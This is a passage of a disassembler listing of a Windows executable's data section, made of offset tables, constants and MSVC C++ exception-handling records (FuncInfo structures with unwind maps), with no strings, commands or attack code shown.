31Bh dup(0) off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403720+3FEo off_43F004 dd offset byte_437AC0 ; DATA XREF: sub_403CC0+2o off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BC0+4o ; sub_409C20+Bo ... off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AEA0+2o ; sub_40AEF0+1Co dd offset byte_437AC0 align 10h off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1F8o ; sub_40B250+1Eo flt_43F024 dd 1.0 ; DATA XREF: ___:0040B8A6r off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6D0+157o ; sub_40FE70+1Do dd offset sub_402149 dd 0 off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6D0+142o ; sub_40FE70+23o off_43F038 dd offset loc_40115E ; DATA XREF: sub_411930+36o ; sub_4119E0+1Do dd offset loc_402004 dd 0 off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041325Do ; sub_4132F0+1Fo dd offset sub_401D0C align 10h off_43F050 dd offset sub_4019CE ; DATA XREF: sub_416D00+6o ; sub_417EF0+8o dd offset sub_4020C7 dd 0 off_43F05C dd offset loc_401CAD ; DATA XREF: sub_416D60+6o ; sub_417F20+8o dd offset sub_401230 align 8 off_43F068 dd offset loc_401929 ; DATA XREF: sub_416DC0o sub_41FCD0+8o dd offset sub_401CF3 dd 0 off_43F074 dd offset sub_40111D ; DATA XREF: sub_416E10o ; sub_4191B0+36o off_43F078 dd offset loc_4014AB ; DATA XREF: sub_417CC0+68o off_43F07C dd offset sub_401064 ; DATA XREF: sub_417D60+8Bo off_43F080 dd offset sub_40138E ; DATA XREF: sub_417E30+74o off_43F084 dd offset loc_401B81 ; DATA XREF: sub_417F50+7Bo off_43F088 dd offset loc_40204A ; DATA XREF: sub_418010+7Bo off_43F08C dd offset loc_401F3C ; DATA XREF: sub_4180D0+3Eo off_43F090 dd offset sub_401FE1 ; DATA XREF: sub_418150+8o off_43F094 dd offset loc_401FF5 ; DATA XREF: sub_418180+3Eo off_43F098 dd offset sub_401E6A ; DATA XREF: sub_418200+3Eo off_43F09C dd offset loc_40100A ; DATA XREF: sub_418280+10o off_43F0A0 dd offset loc_4010B4 ; DATA XREF: sub_4182B0+4Bo off_43F0A4 dd offset sub_401BB8 ; DATA XREF: sub_418330+10o off_43F0A8 dd offset sub_40171C ; DATA XREF: sub_418360+10o off_43F0AC dd offset sub_40161D ; DATA XREF: sub_418390+6Bo dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r dd 0 off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo ; sub_41A210+6o off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0E0+Do sub_41B140o off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B4A2o ; ___:0041B58Do dd offset sub_401686 align 10h off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o ; sub_41D860+1Do dd offset sub_401C94 dd 0 off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o dd offset sub_401A78 dd offset sub_401A50 dd 0 off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_4277B0+6Ao ; sub_427850+1Do dd offset sub_401A78 dd offset byte_437AC0 dd 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Ah, 40h, 0 dd offset sub_401A78 dd offset sub_401366 dd 0 off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o dd offset sub_401A78 dd offset sub_401EB0 dd 0 off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o dd offset sub_401A78 dd offset sub_401A14 dd 0 off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4015B9 dd 0 off_43F13C dd offset loc_402086 ; DATA XREF: sub_429120+7Ao ; sub_4291E0+1Do ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset byte_437AC0 dd 0 off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo ; sub_429540+10o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_401D3E dd 0 off_43F15C dd offset loc_40112C ; DATA XREF: sub_42ACB0+32o ; sub_42AD50+9o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40137A dd 0 off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4010AF dd 0 off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40189D dd 0 off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o dword_43F190 dd 0 dd 8, 0 off_43F19C dd offset byte_437AC0 ; DATA XREF: sub_42C530+39o off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_40134D align 10h off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_401537 align 10h dd offset loc_4015FA ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4019F1 align 10h dd offset dword_43F348 off_43F1D4 dd offset loc_437B01 ; DATA XREF: ___:00437AF8o ; ___:off_444898o ... dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0) off_43F318 dd offset off_448C90 ; DATA XREF: ___:0043F330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43F318 dd 0 db 0 ; DATA XREF: ___:0043F358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43F330h dword_43F348 dd 3 dup(0) dd offset off_448C90 dd offset unk_43F338 dd 45h dup(0) dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0 dd offset dword_4382CC+0B24h dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0) dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0 dd offset loc_438E6B dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah dd 439194h, 3Bh, 4391A2h, 0Eh dup(0) dword_43F700 dd 19930520h, 1, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 2 dup(0) dword_43F730 dd 19930520h, 2, 43F750h, 5 dup(0) dd 0FFFFFFFFh, 4392B0h, 0 dd offset loc_4392B8 dd 2 dup(0) dword_43F768 dd 19930520h, 2, 43F788h, 5 dup(0) dd 0FFFFFFFFh, 4392E0h, 0 dd offset loc_4392E8 align 10h dword_43F7A0 dd 19930520h, 1, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 2 dup(0) dword_43F7D0 dd 19930520h, 7, 43F7F0h, 5 dup(0) dd 0FFFFFFFFh, 439330h, 0 dd offset loc_439338 dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh dd 2 dup(0) dword_43F830 dd 19930520h, 7, 43F850h, 5 dup(0) dd 0FFFFFFFFh, 4393B0h, 0 dd offset loc_4393B8 dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh dd 2 dup(0) dword_43F890 dd 19930520h, 11h, 43F8B0h, 5 dup(0) dd 0FFFFFFFFh, 439430h, 0FFFFFFFFh, 439438h, 0FFFFFFFFh dd 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh dd 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh dd 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh dd 439488h, 0FFFFFFFFh, 439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h, 4 dup(0) dword_43F948 dd 19930520h, 0Bh, 43F968h, 5 dup(0) dd 0FFFFFFFFh, 4394F0h, 0 dd offset loc_4394F8 dd 0FFFFFFFFh, 439500h, 2, 439508h, 0FFFFFFFFh, 439510h dd 0FFFFFFFFh, 439518h, 0FFFFFFFFh, 439520h, 0FFFFFFFFh dd 439528h, 7, 439533h, 7, 43953Bh, 9, 439543h, 4 dup(0) dword_43F9D0 dd 19930520h, 31h, 43F9F0h, 5 dup(0) dd 0FFFFFFFFh, 439570h, 0 dd offset loc_43957B dd 0 dd offset loc_439586 dd 0FFFFFFFFh, 439591h, 0FFFFFFFFh, 43959Ch, 4, 4395A7h dd 0FFFFFFFFh, 4395B2h, 6, 4395BDh, 6, 4395C8h, 8, 4395D3h dd 0FFFFFFFFh, 4395DEh, 0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h, 0Ah, 439620h, 0FFFFFFFFh dd 43962Bh, 11h, 439636h, 11h, 439641h, 0FFFFFFFFh, 43964Ch dd 0FFFFFFFFh, 439657h, 15h, 439662h, 0FFFFFFFFh, 43966Dh dd 0FFFFFFFFh, 439678h, 18h, 439683h, 0FFFFFFFFh, 43968Eh dd 0FFFFFFFFh, 439699h, 0FFFFFFFFh, 4396A4h, 0FFFFFFFFh dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h, 1Dh, 4396D0h, 1Dh dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h, 22h, 4396FCh, 22h dd 439707h, 22h, 439712h, 22h, 43971Dh, 22h, 439728h, 22h dd 439733h, 22h, 43973Eh, 22h, 439749h, 22h, 439754h, 22h dd 43975Fh, 22h, 43976Ah, 22h, 439775h, 22h, 439780h, 0Ch dup(0) dword_43FBA8 dd 19930520h, 2, 43FBC8h, 5 dup(0) dd 0FFFFFFFFh, 439828h, 0 dd offset loc_439820 align 10h dword_43FBE0 dd 19930520h, 2, 43FC00h, 5 dup(0) dd 0FFFFFFFFh, 43986Bh, 0 dd offset loc_439860 dd 2 dup(0) dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0 dd offset loc_4398AB dd 0 dd offset loc_4398B6 dd 2 dup(0) dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0) dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0) dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0 dd offset loc_439928 align 10h dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0 dd offset loc_43994B dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h dup(0) dd offset off_444898 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 437AF0h, 2 dup(0) dd offset off_4448B8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F1Ah, 2 dup(0) dd offset off_4448E0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F20h, 0 dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA77o dd offset dword_437EC4+62h dd 0 dd offset dword_440070 align 10h dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0) dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0) dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0 dd offset loc_439D87 dd 1, 439D8Fh, 2 dup(0) dword_440140 dd 19930520h, 1, 440160h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4401B8h, 4 dup(0) dd offset sub_40AF32 align 10h dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 440218h, 4 dup(0) dd offset sub_40B0B1 align 10h dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0 dd offset loc_439DFB dd 1, 439E06h, 2, 439E11h, 2 dup(0) dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0 dd offset loc_439E4B dd 1, 439E56h, 2, 439E61h, 2 dup(0) dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh dd 439EA0h, 2 dup(0) dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0 dd offset loc_439EC8 dd 1, 439ED0h, 2 dup(0) dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0) dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh dd 439F20h, 2, 439F28h, 2 dup(0) dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0) dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0 dd offset loc_439F7B dd 0 dd offset loc_439F86 dd 2, 439F91h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0) dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0 dd offset loc_439FEB dd 0 dd offset loc_439FF6 dd 0 dd offset loc_43A001 dd 0 dd offset loc_43A00C align 10h dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0 dd offset loc_43A04B dd 2 dup(0) dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0 dd offset loc_43A07B align 10h dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0) dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0 dd offset loc_43A0EB dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h dd 1, 43A12Dh, 4 dup(0) dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh dd 43A1E4h, 4 dup(0) dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0 dd offset loc_43A228 dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0) dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0 dd offset loc_43A278 dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0) dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0 dd offset loc_43A2C8 dd 1, 43A2D0h, 2 dup(0) dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0) dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0 dd offset loc_43A318 dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0) dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0 dd offset loc_43A378 dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h dd 43A4E5h, 8 dup(0) dword_440950 dd 19930520h, 11h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0 dd offset loc_43A568 dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h, 0Dh, 43A615h, 0Eh dd 43A623h, 0Fh, 43A631h, 4 dup(0) dword_440A08 dd 19930520h, 38h, 440A28h, 5 dup(0) dd 0FFFFFFFFh, 43A690h, 0 dd offset loc_43A69B dd 1, 43A6A6h, 0 dd offset loc_43A6B1 dd 0 dd offset loc_43A6BC dd 0 dd offset loc_43A6C7 dd 0 dd offset loc_43A6D2 dd 0 dd offset loc_43A6DD dd 0 dd offset loc_43A6E8 dd 0 dd offset loc_43A6F3 dd 9, 43A6FEh, 0 dd offset loc_43A709 dd 0 dd offset loc_43A714 dd 0 dd offset loc_43A71F dd 0 dd offset loc_43A72A dd 0Eh, 43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch dd 0Eh, 43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh dd 0 dd offset loc_43A799 dd 0 dd offset loc_43A7A4 dd 0 dd offset loc_43A7B2 dd 0 dd offset loc_43A7C0 dd 1Ah, 43A7CBh, 1Bh, 43A7D6h, 0 dd offset loc_43A7E1 dd 1Dh, 43A7ECh, 0 dd offset loc_43A7F7 dd 1Fh, 43A802h, 0 dd offset loc_43A80D dd 0 dd offset loc_43A818 dd 0 dd offset loc_43A823 dd 0 dd offset loc_43A82E dd 0 dd offset loc_43A839 dd 25h, 43A844h, 26h, 43A84Fh, 0 dd offset loc_43A84F dd 28h, 43A844h, 0 dd offset loc_43A85A dd 0 dd offset loc_43A865 dd 2Bh, 43A870h, 2Ch, 43A87Bh, 0 dd offset loc_43A87B dd 2Eh, 43A870h, 2Eh, 43A886h, 0 dd offset loc_43A891 dd 31h, 43A89Ch, 0 dd offset loc_43A8A7 dd 0 dd offset loc_43A8B2 dd 34h, 43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0) dword_440C18 dd 19930520h, 1, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A970h, 2 dup(0) dword_440C48 dd 19930520h, 1, 440C68h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 2 dup(0) dword_440C78 dd 19930520h, 6, 440C98h, 5 dup(0) dd 0FFFFFFFFh, 43A9B0h, 0 dd offset loc_43A9B8 dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0) dword_440CD0 dd 19930520h, 6, 440CF0h, 5 dup(0) dd 0FFFFFFFFh, 43AA10h, 0 dd offset loc_43AA18 dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0) dword_440D28 dd 19930520h, 0Ah, 440D48h, 5 dup(0) dd 0FFFFFFFFh, 43AA70h, 0FFFFFFFFh, 43AA78h, 0FFFFFFFFh dd 43AA80h, 0FFFFFFFFh, 43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh dd 43AA98h, 0FFFFFFFFh, 43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh dd 43AAB0h, 0FFFFFFFFh, 43AAB8h, 4 dup(0) dword_440DA8 dd 19930520h, 0Eh, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAE0h, 0 dd offset loc_43AAE8 dd 0FFFFFFFFh, 43AAF3h, 0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh dd 43AB03h, 0FFFFFFFFh, 43AB0Bh, 5, 43AB16h, 0FFFFFFFFh dd 43AB1Eh, 0FFFFFFFFh, 43AB26h, 0FFFFFFFFh, 43AB2Eh, 9 dd 43AB39h, 0FFFFFFFFh, 43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h dd 4 dup(0) dword_440E48 dd 19930520h, 2, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB98h, 0 dd offset loc_43AB90 align 10h dword_440E80 dd 19930520h, 2, 440EA0h, 5 dup(0) dd 0FFFFFFFFh, 43ABD0h, 0 dd offset loc_43ABD8 dd 2 dup(0) dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0) dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0 dd offset loc_43AC18 dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h dd 2 dup(0) dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0 dd offset loc_43AC7B dd 1, 43AC86h, 2, 43AC91h, 2 dup(0) dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 43h, 0 dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0) dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0) dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0) dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0) dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0 dd offset loc_43AD78 dd 2 dup(0) dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0 dd offset loc_43AD98 dd 1, 43ADA3h, 2 dup(0) dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0 dd offset loc_43ADD8 dd 1, 43ADE0h, 2 dup(0) dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0) dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0 dd offset loc_43AE28 dd 0 dd offset loc_43AE30 dd 0 dd offset loc_43AE3B align 10h dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0 dd offset loc_43AE68 dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0) dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0 dd offset loc_43AEBB dd 1, 43AEC6h, 2 dup(0) dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0 dd offset loc_43AEF8 dd 1, 43AF00h, 2, 43AF08h, 2 dup(0) dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0 dd offset loc_43AF38 dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0) dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0 dd offset loc_43AF88 dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0) dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0 dd offset loc_43AFC8 dd 1, 43AFD0h, 2 dup(0) dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0) dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0 dd offset loc_43B018 align 10h dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0 dd offset loc_43B038 dd 2 dup(0) dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B05B dd 1, 43B066h, 2 dup(0) dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0) dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0) dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0 dd offset loc_43B0D8 dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0) 